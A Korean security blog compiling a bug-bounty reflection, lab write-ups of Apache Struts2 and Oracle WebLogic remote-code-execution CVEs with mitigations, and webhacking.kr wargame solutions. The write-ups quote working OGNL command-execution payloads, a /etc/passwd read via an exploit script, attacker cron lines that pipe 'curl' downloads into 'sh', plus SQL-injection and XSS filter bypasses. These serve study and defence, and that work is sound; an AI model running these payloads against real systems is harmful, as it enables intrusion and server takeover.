프로젝트 투입 전 지난 5월 말 KISA에 S/W 신규 취약점 신고 접수를 하고,


한 달 정도 시간이 흐른 뒤 6월 말 취약점 평가 결과 안내 메일을 받을 수 있었다.



이전에 N사 취약점 3개를 KISA를 통해 신고하였으나 당시에는 "서비스"를 대상으로 한 취약점은 평가 대상이 아니어서 별도의 안내 메일은 없었으나 


추후 취약점이 제거된 것으로 보아 신고된 취약점은 KISA에서 잘 관리하였던 것 같다.


이번에는 특정 어플리케이션을 대상의 취약점을 신고한 터라 우수 취약점으로 선정되어 평가 결과에 대한 확인도 할 수 있었다.



현재 몇 가지 취약점을 분석 중인데 바뻐서 언제 정리하여 신고할지 미지수...


3개월간 로그인도 못해 계정도 정지중이었는데... ㄷㄷ





'about' 카테고리의 다른 글

About me  (0) 2018.05.31

About me...



Summary

- c0pyc4t1996

- Daegu

- Consultant & Engineer

- http://securityse.tistory.com

- c0pyc4t1996@gmail.com



Detail [준비중]

2018

-


2017

-

-


2016

-

-


2015


2014


...



'about' 카테고리의 다른 글

S/W 신규 취약점 신고포상제 (KISA 버그 바운티) 후기  (0) 2018.08.31

Apache Struts2 취약점 CVE-2016-4438 (S2-037) 개요 및 실습



 

1. 개요

- REST Plugin 사용 시 원격 공격자가 제작된 표현식을 통해 임의의 코드 실행 가능



2. 영향받는 버전

- Apache Struts 2.3.20 ~ 2.3.28.1 (REST Plugin 사용 시 발생)



3. 릴리즈 일자

2016/05/02



4. 대응방안

- Apache Struts 버전 2.3.29로 업그레이드

- Apache Struts 2.3.29로 업그레이드 시 OGNL 표현식의 호환성 문제 발생 가능함



5. 참고자료

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4438

https://nvd.nist.gov/vuln/detail/CVE-2016-4438

https://cwiki.apache.org/confluence/display/WW/S2-037



6. POC(Proof Of Concept)

 

1) Victim 환경

- Windows 10 Pro

- Java 1.7.8_80

- Apache Tomcat 7.0.54

- Apache Struts 2.3.28



2) Attacker 환경

- CentOS 6 x64



3) 취약점 Scanning



4) 취약점 공격(exploit)



5) catalina.out log


 1 11, 2018 2:26:01 오후 org.apache.struts2.rest.RestActionInvocation error

심각: Exception processing the result.

java.lang.IllegalStateException: getWriter() has already been called for this response

        at org.apache.catalina.connector.Response.getOutputStream(Response.java:602)

        at org.apache.catalina.connector.ResponseFacade.getOutputStream(ResponseFacade.java:196)

        at org.apache.struts2.rest.DefaultContentTypeHandlerManager.handleResult(DefaultContentTypeHandlerManager.java:187)

        at org.apache.struts2.rest.RestActionInvocation.executeResult(RestActionInvocation.java:232)

        at org.apache.struts2.rest.RestActionInvocation.processResult(RestActionInvocation.java:197)

        at org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:145)

        at com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:147)

        at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:567)

        at org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:81)

        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99)

        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)

        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)

        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)

        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501)

        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)

        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)

        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950)

        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)

        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)

        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1040)

        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607)

        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:314)

        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)

        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)

        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)

        at java.lang.Thread.run(Thread.java:745)

 

1 11, 2018 2:26:01 오후 org.apache.struts2.rest.RestActionInvocation info

정보: Executed action [/orders!(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#wr=#context[#parameters.obj[0]].getWriter(),#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr.println(#rs),#wr.flush(),#wr.close()):xx.toString!json!200] took 135 ms (execution: 49 ms, result: 86 ms)




Oracle WebLogic Server Remote Security Vulnerability

(CVE-2015-4852, CVE-2016-3510)


- Oracle WebLogic Server Java Object Deserialization RCE

- Java Unserialize vulnerability on t3 enabled backends

 


1. 개요

- WLS Security Component 사용 시 원격 공격자가 T3 프로토콜 트래픽에서 만들어진 직렬화(Serialization) Java 객체를 통해 임의의 명령을 7001/TCP로 전송하여 실행

- 사용자 입력에서 역 직렬화(Deserialization)를 직접 수행하는 경우, 공격자가 악의적인 입력을 구성하여 Deserialization가 예상치 못한 객체를 생성하여 임의의 코드 실행 가능

- oracle_common/modules/com.bea.core.apache.commons.collections.jar

- 해당 공격이 성공하면 원격 코드 실행 가능

 


2. 영향받는 버전

- WebLogic Server 10.3.6.0

- WebLogic Server 12.1.3.0

- WebLogic Server 12.2.1.0

 


3. 릴리즈 일자

CVE-2015-4852 : 2015/06/24

CVE-2016-3510 : 2016/03/17

 


4. 대응방안

 

4.1 2016 7 Oracle Critical Patch Update

http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html



5. 참고자료

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4852

https://nvd.nist.gov/vuln/detail/CVE-2015-4852

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3510

https://nvd.nist.gov/vuln/detail/CVE-2016-3510

http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html

 


6. POC(Proof Of Concept)

 

6.1 Victim 환경

- CentOS 6 x64

- Weblogic 11g : Weblogic Server 10.3.6.0

- Java : Java 1.7.0_80

 

6.2 Attacker 환경

- CentOS 6 x64

 

6.3 취약점 공격 (exploit)

 


6.4 취약점 공격 실행 결과 화면

 



6.5 Log 확인

 

####<2018. 3. 19 ▒▒▒▒ 6▒▒ 50▒▒ 14▒▒ KST> <Error> <RJVM> <XXX> <test> <ExecuteThread: '3' for queue: 'weblogic.socket.Muxer'> <<WLS Kernel>> <> <> <1514973014380> <BEA-000503> <Incoming message header or abbreviation processing failed

 java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set

java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set

        at com.sun.proxy.$Proxy89.entrySet(Unknown Source)

        at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:443)

        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)

        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)

        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)

        at java.lang.reflect.Method.invoke(Method.java:606)

        at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)

        at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)

        at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)

        at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)

        at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)

        at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:66)

        at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:38)

        at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283)

        at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:213)

        at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498)

        at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:330)

        at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:387)

        at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:967)

        at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:899)

        at weblogic.socket.PosixSocketMuxer.processSockets(PosixSocketMuxer.java:130)

        at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29)

        at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:42)

        at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:145)

        at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:117) 




6.6 악용예제


- 해당 취약점이 존재하는 WAS 서버에 중국 해커로 추정되는 공격자에 의하여 비트 코인 채굴기 (miner) 동작 및 정상 서비스를 방해는 쉘 스크립트 동작 수행


$ ps -ef | grep wls

...

wls      17510 17506  0 18:34 ?        00:00:00 /bin/sh -c curl http://198.xxx.xxx.73/2 | sh

wls      13771       1 99 01:54 ?        1-17:17:07 /tmp/xfsallocd -B

...


$ crontab -l

*/1 * * * *  curl http://216.xxx.xxx.227/js/2 | sh

*/1 * * * *  /tmp/fs.sh


$ cat /tmp/fs.sh

#!/bin/sh

pkill -9 atd

pkill -f atd

pkill -f polkitd

pkill -f http

pkill -f httpd

...

※ 국내에서 해당 취약점은 miner를 구동하기 위하여 주로 코이너들이 활용하고 있으며, 개인정보 유출/시스템 파괴/2차 공격을 위한 흔적 삭제 등의 피해는 잘 보고되지 않고 있음





Oracle WebLogic WLS Security Component Remote Code Execution

(CVE-2017-10271, CVE-2017-3506)

 



1. 개요

- Oracle WebLogic WLS 내에 원격 코드 실행 취약점 존재

- Oracle WebLogic에서 xml 디코드를 처리하는 방식의 문제점 존재

- 공격자가 조작 된 XML 페이로드를 전송하여 원격 코드 실행(RCE)을 초래할 수 있는 XML 공격으로 구성

- 해당 공격이 성공하면 원격 코드 실행 가능

 

 

2. 영향받는 버전

- WebLogic Server 10.3.6.0.0

- WebLogic Server 12.1.3.0.0

- WebLogic Server 12.2.1.1.0

- WebLogic Server 12.2.1.2.0

 

 

3. 릴리즈 일자

- CVE-2017-3506 : 2016/12/06

- CVE-2017-10271 : 2017/06/21

 

 

4. 대응방안

 

4.1 Weblogic wls-wsat component 미 사용 시 삭제

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

 

4.2 WAF에서 URL 차단

/wls-wsat/CoordinatorPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/ParticipantPortType

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/RegistrationRequesterPortType11

 

 

4.3 2017 10 Oracle Critical Patch Update

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

 

 

5. 참고자료

- CVE-2017-3506 :   http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

- CVE-2017-10271 :   http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271

- Oracle Critical Patch Update Advisory - April 2017 :   http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html

- Oracle Critical Patch Update Advisory - October 2017 :   http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

- https://www.ren-isac.net/public-resources/alerts/REN-ISAC_ADVISORY_Oracle_WebLogic_Vulnerability_Bitcoin_Miner_Attacks_20180105v1.pdf

 


6. POC(Proof Of Concept)


6.1 Victim 환경

- CentOS 6 x64

- Weblogic 11g : WebLogic Server 10.3.6.0

- Java : jdk1.7.0_80



6.2 Attacker 환경

- CentOS 6 x64



6.3 취약점 scanning


[root@localhost weblogic]# ./exploit_scan.py http://192.168.0.100:7001/

[*] Scanning http://192.168.0.100:7001/

<h1>Web Services</h1>

[*] Potential Vuln: http://192.168.0.100:7001/ 




6.4 취약점 공격 (exploit)


[root@localhost weblogic]# ./exploit.py http://192.168.0.100:7001/


Eneter your command here: cp /etc/passwd /tmp/passwd

Command Executed





6.5 취약점 공격 실행 결과 확인


[wls@localhost root]$ cd /tmp

[wls@localhost tmp]$ ls -al passwd

-rw-r----- 1 wls wls 4156  1▒▒  4 14:19 passwd

[wls@localhost tmp]$ cat passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

...



6.6 Log 확인


 - scanning과 exploit에 대한 weblogic에서 어떠한 로그도 발견되지 않음

 - 서버의 장애 상황이나 비트코인 miner 와 같은 공격자의 흔적이 없으면 발견하기 어려움



6.7 악용예제


- 해당 취약점이 존재하는 WAS 서버에 중국 해커로 추정되는 공격자에 의하여 비트 코인 채굴기 (miner) 동작 및 정상 서비스를 방해는 쉘 스크립트 동작 수행


$ ps -ef | grep wls

...

wls      17510 17506  0 18:34 ?        00:00:00 /bin/sh -c curl http://198.xxx.xxx.73/2 | sh

wls      13771       1 99 01:54 ?        1-17:17:07 /tmp/xfsallocd -B

...


$ crontab -l

*/1 * * * *  curl http://216.xxx.xxx.227/js/2 | sh

*/1 * * * *  /tmp/fs.sh


$ cat /tmp/fs.sh

#!/bin/sh

pkill -9 atd

pkill -f atd

pkill -f polkitd

pkill -f http

pkill -f httpd

...

※ 국내에서 해당 취약점은 miner를 구동하기 위하여 주로 코이너들이 활용하고 있으며, 개인정보 유출/시스템 파괴/2차 공격을 위한 흔적 삭제 등의 피해는 잘 보고되지 않고 있음



최초 작성일 : 2017/4/2


Apache Struts2 취약점 CVE-2017-5638 (S2-045)


1. 개요

- 파일 업로드 시도 중 Jakarta Multipart 파서의 잘못된 예외 처리 및 오류 메시지 생성 기능을 악용하여 원격 코드 실행

- 공격자가 Content-Type, Content-Disposition 또는 Content-Length HTTP 헤더를 통해 임의의 명령을 실행 가능

- 2017년 3월 #cmd = String이 포함 된 Content-Type 헤더로 악용되었음을 발견함



2. 영향 받는 버전

- Apache Struts 2.3.5 ~ 2.3.31

- Apache Struts 2.5 ~ 2.5.10



3. 릴리즈 일자

- 2017/01/29 



4. 대응 방안

- Jakarta 기반 파일 업로드 Multipart 파서를 사용하는 경우 Apache Struts 버전 2.3.32 또는 2.5.10.1로 업그레이드
- Content-Type에 엄격한 필터링 적용 및 OGNL 표현식과 사용 금지
- commons-fileupload-x.x.x.jar 파일 삭제 (해당 파일 삭제 시 업로드 기능 사용 불가)



5. 참고자료

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

https://cwiki.apache.org/confluence/display/WW/S2-045

http://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=25264



6. POC (Proof Of Concept)


1) Victim 환경

- Windows 10 Pro

- Java 1.7.8_80

- Apache Tomcat 7.0.54


2) Attacker 환경

- CentOS 6 x64


3) 취약점 Scanning


4) 취약점 공격(exploit)


5) catalina.out log


 1 11, 2018 2:48:53 오후 org.apache.struts2.dispatcher.Dispatcher info

정보: Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir

1 11, 2018 2:48:53 오후 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn

경고: Unable to parse request

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('wylvrmq','wylvrmq')}.multipart/form-data

        at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947)

        at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310)

        at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)

        at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84)

        at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:841)

        at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:138)

        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91)

        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)

        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)

        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)

        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501)

        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)

        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)

        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950)

        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)

        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)

        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1040)

        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607)

        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:314)

        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)

        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)

        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)

        at java.lang.Thread.run(Thread.java:745)

 

1 11, 2018 2:48:54 오후 org.apache.struts2.rest.RestActionInvocation info

정보: Executed action [/!index!xhtml!200] took 21 ms (execution: 7 ms, result: 14 ms)


 1 11, 2018 2:53:08 오후 org.apache.struts2.dispatcher.Dispatcher info

정보: Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir

1 11, 2018 2:53:08 오후 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn

경고: Unable to parse request

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

        at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947)

        at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310)

        at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)

        at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84)

        at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:841)

        at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:138)

        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91)

        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)

        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)

        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)

        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501)

        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)

        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)

        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950)

        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)

        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)

        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1040)

        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607)

        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:314)

        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)

        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)

        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)

        at java.lang.Thread.run(Thread.java:745)

 

1 11, 2018 2:53:08 오후 org.apache.struts2.rest.RestActionInvocation error

심각: Exception processing the result.

java.lang.IllegalStateException: getOutputStream() has already been called for this response

        at org.apache.catalina.connector.Response.getWriter(Response.java:636)

        at org.apache.catalina.connector.ResponseFacade.getWriter(ResponseFacade.java:213)

        at org.apache.struts2.dispatcher.ServletRedirectResult.sendRedirect(ServletRedirectResult.java:261)

        at org.apache.struts2.dispatcher.ServletRedirectResult.doExecute(ServletRedirectResult.java:229)

        at org.apache.struts2.dispatcher.StrutsResultSupport.execute(StrutsResultSupport.java:191)

        at org.apache.struts2.dispatcher.ServletRedirectResult.execute(ServletRedirectResult.java:164)

        at org.apache.struts2.dispatcher.ServletActionRedirectResult.execute(ServletActionRedirectResult.java:182)

        at org.apache.struts2.rest.RestActionInvocation.executeResult(RestActionInvocation.java:240)

        at org.apache.struts2.rest.RestActionInvocation.processResult(RestActionInvocation.java:197)

        at org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:145)

        at com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:147)

        at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:567)

        at org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:81)

        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99)

        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)

        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)

        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)

        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501)

        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)

        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)

        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950)

        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)

        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)

        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1040)

        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607)

        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:314)

        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)

        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)

        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)

        at java.lang.Thread.run(Thread.java:745)

 

1 11, 2018 2:53:08 오후 org.apache.struts2.rest.RestActionInvocation info

정보: Executed action [/!index!xhtml!200] took 17 ms (execution: 6 ms, result: 11 ms)




webhacking.kr 59번 풀이

 

문제 접속 : http://webhacking.kr/challenge/web/web-36/index.php


문제 페이지 접속 시 화면

 

소스를 확인해보면 JOIN을 통하여 id, phone 정보를 입력하여 권한을 삽입하고, LOGIN시 입력한 id, phone 정보로 admin 권한(lv)을 획득해야 한다.

 

http://webhacking.kr/challenge/web/web-36/index_readmmme.phps

<?

 

if($_POST[lid] && $_POST[lphone])

{

$q=@mysql_fetch_array(mysql_query("select id,lv from c59 where id='$_POST[lid]' and phone='$_POST[lphone]'"));

 

if($q[id])

{

 

echo("id : $q[id]<br>lv : $q[lv]<br><br>");

 

if($q[lv]=="admin")

{

@mysql_query("delete from c59");

@clear();

}

 

echo("<br><a href=index.php>back</a>");

exit();

}

 

}

 

 

if($_POST[id] && $_POST[phone])

{

if(strlen($_POST[phone])>=20) exit("Access Denied");

if(eregi("admin",$_POST[id])) exit("Access Denied");

if(eregi("admin|0x|#|hex|char|ascii|ord|from|select|union",$_POST[phone])) exit("Access Denied");

 

@mysql_query("insert into c59 values('$_POST[id]',$_POST[phone],'guest')");

}

 

?>

<html><head><title>Challenge 59</title></head><body>

<form method=post action=index.php>

<table border=1>

<tr><td>JOIN</td><td><input name=id></td><td><input name=phone></td><td><input type=submit></td></tr>

<tr><td>LOGIN</td><td><input name=lid></td><td><input name=lphone></td><td><input type=submit></td></tr>

</form>

</body></html>

 

아래 구문을 조작하여 admin 권한을 입력해야 되는 문제로 SQL Injection이 필요하다.

mysql_query("insert into c59 values('$_POST[id]',$_POST[phone],'guest')");

 

SQL Injection 적용을 확인한다.

 

JOIN LOGIN 결과 정상적으로 SQL이 입력되었음을 알 수 있다.

 

아래 구문의 사용이 필터링 되어 lv admin을 삽입할 수 없으나 SQL reverse function을 사용하여 이를 우회할 수 있다.

admin|0x|#|hex|char|ascii|ord|from|select|union

 

reverse function은 입력값을 역순으로 출력한다.

reverse(dcba) 입력시 abcd 출력

 

 

결국 다음의 값을 JOIN으로 입력한다.

nimda / 1,reverse(id))--입력

 

nimda로 로그인

 

Level clear



 



















 

webhacking.kr 56번 문제


문제 접속 : http://webhacking.kr/challenge/web/web-33/index.php

해당 URL에 접속을 하면 게시판에 게시물이 2개 있다.

 

guest가 작성한 게시물을 클릭하면 게시물 내용으로 “hi~”를 확인할 수 있다.

 

 

 

admin이 작성한 게시물을 읽을 경우 “access denied” 발생

결국, 해당 문제는 admin이 작성한 게시물 내용에 정답이 있을 것으로 추정된다.

 

search 기능이 있어서 확인 해보니 a 문자 검색 시 결과 없음

 

 

 

 

 

여러 번 시도 후 k 문자 검색 시 admin 게시물만 검색된다.

, admin이 작성한 게시물 내용에 k 문자가 포함되어 있다는 의미이고,

해당 쿼리는 다음과 같은 조건으로 이루어져있다고 생각해볼 수 있다.

select * from board where body like ‘%$search%’

 


여러가지 조건을 주어서 확인한 결과 k, p, h, . 에서 해당 게시물이 검색되었다.

또한 kk의 경우 게시물이 검색되었으나

 

 

 

kp의 경우 게시물이 검색되지 않았다.

 

총 게시물 내용의 길이는 “kk____”를 입력하여 6자리임을 알아내었고,

 

유추해본 결과 게시물 내용이 “kk.php”로 추정되어 URL에 입력해보니 해당 문제 Clear

SQL LIKE 구문에서 _의 의미는 문자 하나에 대한 임의의 값을 지정할 수 있는 구문이다

like ‘k_’일 경우 ka, kB, k! 처럼 임의의 한 문자만 대입 가능하다.

 

 



webhacking.kr 23번 풀이

 

문제 접속 : http://webhacking.kr/challenge/bonus/bonus-3/

 

이번 문제는 Input Tag <script>alert(1);</script>를 삽입하면 된다.

 

a를 입력하면 a가 출력된다.


ab를 입력하니 no hack 출력

 

a<>를 입력하면 a<> 정상 출력

 

결국 몇 번의 테스트로 확인한 것은 문자를 2개 연속으로 입력할 경우 “no hack” 발생.

하지만 문자와 문자 사이에 NULL(%00) 값을 입력할 경우 필터링을 우회할 수 있다.

<s%00c%00r%00i%00p%00t>를 삽입한 결과 “no hack”이 발생하지 않는 것을 확인하였다.

 

